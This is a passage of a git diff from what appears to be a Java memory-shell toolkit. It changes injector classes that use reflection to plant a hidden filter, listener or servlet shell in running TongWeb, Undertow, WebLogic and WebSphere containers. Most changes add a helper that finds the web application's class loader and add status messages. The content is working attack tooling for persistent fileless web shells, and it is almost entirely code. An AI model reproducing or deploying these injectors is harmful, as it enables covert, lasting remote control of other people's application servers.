invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -154,7 +158,7 @@ public class TongWebValveInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { try { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; @@ -174,8 +178,6 @@ public class TongWebValveInjector { } method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); - } catch (NoSuchMethodException e) { - throw e; } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java index 069e5245..cf554b53 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java @@ -60,12 +60,18 @@ public class UndertowFilterInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object deploymentInfo = getFieldValue(context, "deploymentInfo"); + return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -79,9 +85,10 @@ public class UndertowFilterInjector { public void inject(Object context, Object filter) throws Exception { if (isInjected(context)) { + System.out.println("filter already injected"); return; } - Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo", true, context.getClass().getClassLoader()); + Class filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo"); Object deploymentInfo = getFieldValue(context, "deploymentInfo"); Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass()); invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); @@ -89,6 +96,7 @@ public class UndertowFilterInjector { Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null); invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST}); + System.out.println("filter inject success"); } @SuppressWarnings("unchecked") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java index 78fcf834..ad7a75fc 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java @@ -56,12 +56,18 @@ public class UndertowListenerInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object deploymentInfo = getFieldValue(context, "deploymentInfo"); + return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -75,15 +81,17 @@ public class UndertowListenerInjector { public void inject(Object context, Object listener) throws Exception { if (isInjected(context)) { + System.out.println("listener already injected"); return; } - Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); + Class listenerInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ListenerInfo"); Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); Object deploymentImpl = getFieldValue(context, "deployment"); Object applicationListeners = getFieldValue(deploymentImpl, "applicationListeners"); - Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener"); + Class managedListenerClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.core.ManagedListener"); Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); + System.out.println("listener inject success"); } public boolean isInjected(Object context) throws Exception { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java index 9dcad9b1..d0b28e2d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java @@ -60,12 +60,18 @@ public class UndertowServletInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object deploymentInfo = getFieldValue(context, "deploymentInfo"); + return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -86,7 +92,7 @@ public class UndertowServletInjector { return; } - Class servletInfoClass = Class.forName("io.undertow.servlet.api.ServletInfo", true, context.getClass().getClassLoader()); + Class servletInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ServletInfo"); Object deploymentInfo = getFieldValue(context, "deploymentInfo"); Object servletInfo = servletInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), servlet.getClass()); invokeMethod(servletInfo, "addMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java index ca4b92a0..b4748617 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java @@ -116,6 +116,11 @@ public class WebLogicFilterInjector { return webappContexts.toArray(); } + /** + * weblogic.servlet.internal.WebAppServletContext + * /opt/oracle/wls1036/server/lib/weblogic.jar + * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar + */ public static Object[] getContext() { Set webappContexts = new HashSet(); try { @@ -129,12 +134,17 @@ public class WebLogicFilterInjector { return webappContexts.toArray(); } + public ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "classLoader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -149,6 +159,7 @@ public class WebLogicFilterInjector { @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { if (isInjected(context)) { + System.out.println("filter already injected"); return; } Object filterManager = invokeMethod(context, "getFilterManager", null, null); @@ -159,6 +170,7 @@ public class WebLogicFilterInjector { List filterPatternList = (List) getFieldValue(filterManager, "filterPatternList"); Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); filterPatternList.add(0, currentMapping); + System.out.println("filter inject successful"); } @SuppressWarnings("all") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java index 29ae7c38..fae31ac5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java @@ -128,9 +128,17 @@ public class WebLogicListenerInjector { return webappContexts.toArray(); } + public ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "classLoader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = context.getClass().getClassLoader(); + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -144,10 +152,12 @@ public class WebLogicListenerInjector { public void inject(Object context, Object listener) throws Exception { if (isInjected(context)) { + System.out.println("listener already injected"); return; } Object eventsManager = getFieldValue(context, "eventsManager"); invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()}); + System.out.println("listener inject successful"); } @SuppressWarnings("unchecked") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java index 712b343c..db8779a2 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java @@ -134,12 +134,17 @@ public class WebLogicServletInjector { return webappContexts.toArray(); } + public ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "classLoader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -158,8 +163,9 @@ public class WebLogicServletInjector { public void inject(Object context, Object servlet) throws Exception { // weblogic.servlet.utils.URLMapping Object servletMapping = invokeMethod(context, "getServletMapping", null, null); - Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); - Class servletStubImplClass = Class.forName("weblogic.servlet.internal.ServletStubImpl"); + Class webAppServletContextClass = context.getClass(); + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Class servletStubImplClass = contextClassLoader.loadClass("weblogic.servlet.internal.ServletStubImpl"); Object servletStub = null; Constructor servletStubImplConstructor = null; try { @@ -172,7 +178,7 @@ public class WebLogicServletInjector { servletStubImplConstructor.setAccessible(true); servletStub = servletStubImplConstructor.newInstance(getClassName(), getClassName(), context, null); } - Constructor urlMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, servletStubImplClass); + Constructor urlMatchHelperConstructor = contextClassLoader.loadClass("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, servletStubImplClass); urlMatchHelperConstructor.setAccessible(true); Object urlMatchHelper = urlMatchHelperConstructor.newInstance(getUrlPattern(), servletStub); Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()}); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java index 60e624ce..f8f9f69b 100755 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java @@ -48,7 +48,10 @@ public class WebSphereFilterInjector { return "{{base64Str}}"; } - + /** + * com.ibm.ws.webcontainer.webapp.WebAppImpl + * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar + */ public List getContext() throws Exception { List contexts = new ArrayList(); Object context; @@ -75,12 +78,17 @@ public class WebSphereFilterInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "loader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -100,21 +108,10 @@ public class WebSphereFilterInjector { return; } - Class filterMappingClass; - Class iFilterConfigClass; - Class iServletConfigClass; - ClassLoader classLoader; - try { - classLoader = context.getClass().getClassLoader(); - filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); - iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); - iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig"); - } catch (Exception e) { - classLoader = Thread.currentThread().getContextClassLoader(); - filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); - iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); - iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig"); - } + ClassLoader classLoader = context.getClass().getClassLoader(); + Class filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); + Class iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); + Class iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig"); Object filterManager = getFieldValue(context, "filterManager"); try { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java index 46f80658..72fa9f00 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java @@ -64,12 +64,17 @@ public class WebSphereListenerInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "loader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -142,4 +147,27 @@ public class WebSphereListenerInjector { } throw new NoSuchFieldException(name); } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java index f4b4ba50..bae401e2 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java @@ -70,12 +70,17 @@ public class WebSphereServletInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "loader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -94,7 +99,7 @@ public class WebSphereServletInjector { System.out.println("servlet already injected"); return; } - invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), servlet.getClass().getName(), getUrlPattern(), null}); + invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), getClassName(), getUrlPattern(), null}); System.out.println("servlet injected successfully"); }